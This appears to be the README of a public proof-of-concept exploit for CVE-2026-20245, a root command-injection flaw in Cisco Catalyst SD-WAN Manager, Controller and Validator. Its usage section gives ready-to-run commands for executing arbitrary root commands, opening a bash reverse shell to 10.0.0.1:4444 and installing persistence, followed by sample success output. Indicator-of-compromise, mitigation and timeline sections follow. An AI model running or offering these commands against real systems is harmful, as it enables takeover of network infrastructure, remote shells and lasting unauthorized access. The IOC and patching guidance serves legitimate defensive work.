
**Este código es SOLO para fines educativos y pruebas de seguridad autorizadas.**
This code is ONLY for educational purposes and authorized security testing.
CVE-2026-20245 is a privilege escalation vulnerability in the CLI of Cisco Catalyst SD-WAN Controller (vSmart), Cisco Catalyst SD-WAN Manager (vManage), and Cisco Catalyst SD-WAN Validator (vBond). An authenticated attacker with netadmin privileges can execute arbitrary commands as root by uploading a specially crafted file.
| Field | Value |
|---|---|
| CVE | CVE-2026-20245 |
| CVSS | 7.8 (High) |
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Component | CLI / CSV Upload |
| Type | Command Injection (CWE-116) |
| Product | Vulnerable Versions |
|---|---|
| Cisco Catalyst SD-WAN Manager | < 20.18.3.1 |
| Cisco Catalyst SD-WAN Controller (vSmart) | < 20.18.3.1 |
| Cisco Catalyst SD-WAN Validator (vBond) | < 20.18.3.1 |
# Clone repository
git clone https://github.com/username/CVE-2026-20245-PoC
cd CVE-2026-20245-PoC
# Install dependencies
pip install -r requirements.txt
# Grant permissions
chmod +x exploit.py
📦 Dependencies
txt
requests>=2.31.0
🚀 Usage
Check version
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password --check-only
Execute command
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "id"
Reverse shell
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
Install persistence
bash
python3 exploit.py -t 192.168.1.1 -u netadmin -p password -c "whoami" --persist
🔍 Expected Output
text
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit ║
║ Command Injection via Crafted File Upload ║
║ CVSS: 7.8 (High) | CISA KEV: 2026-06-09 ║
╚═══════════════════════════════════════════════════════════════════╝
[*] Authenticating to 192.168.1.1...
[+] Authentication successful
[+] XSRF Token obtained
[*] Attempting to execute: id
[*] Trying endpoint: /system/device/upload
[*] Uploading malicious file...
[+] File uploaded successfully
[*] Triggering command injection...
[+] Trigger response: 200
[+] Command injection successful via /system/device/upload
============================================================
[✓] EXPLOIT SUCCESSFUL
[✓] Command executed as root
[!] System is VULNERABLE - Apply Cisco patch immediately
============================================================
🔍 Indicators of Compromise (IOCs)
Check logs (/var/log/scripts.log)
bash
# Search for suspicious activity
grep -E "\.csv|malicious|upload_serial" /var/log/scripts.log
# Specific commands to look for
Apr 15 09:44:57 vmanage vScript: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/malicious.csv
Suspicious files
/home/admin/*.csv (unauthorized CSV files)
/tmp/*.csv
/var/log/scripts.log with unusual entries
Processes
bash
# Look for unusual root processes
ps aux | grep -E "bash|sh|nc|ncat|socat"
🛡️ Mitigation
Option 1 - Update to fixed version (RECOMMENDED)
Version Fixed Release
20.18.2.1 and earlier 20.18.3.1
Option 2 - Limit access
Restrict administrative access to the management network
Use multi-factor authentication
Monitor CSV upload activity
Option 3 - Secure configuration
text
# Disable upload of serial numbers if not necessary
no feature upload-serial-numbers
# Restrict netadmin privileges
admin privilege restrict
📚 References
Cisco Security Advisory
NVD - CVE-2026-20245
CISA KEV Catalog
📊 Timeline
Date Event
2026-05-14 Cisco publishes initial advisory
2026-06-04 CVE officially published
2026-06-09 CISA adds to KEV
2026-06-23 CISA deadline to patch
⚖️ Disclaimer
This software is provided "as is", without warranties. The author is not responsible for misuse. Use only on authorized systems.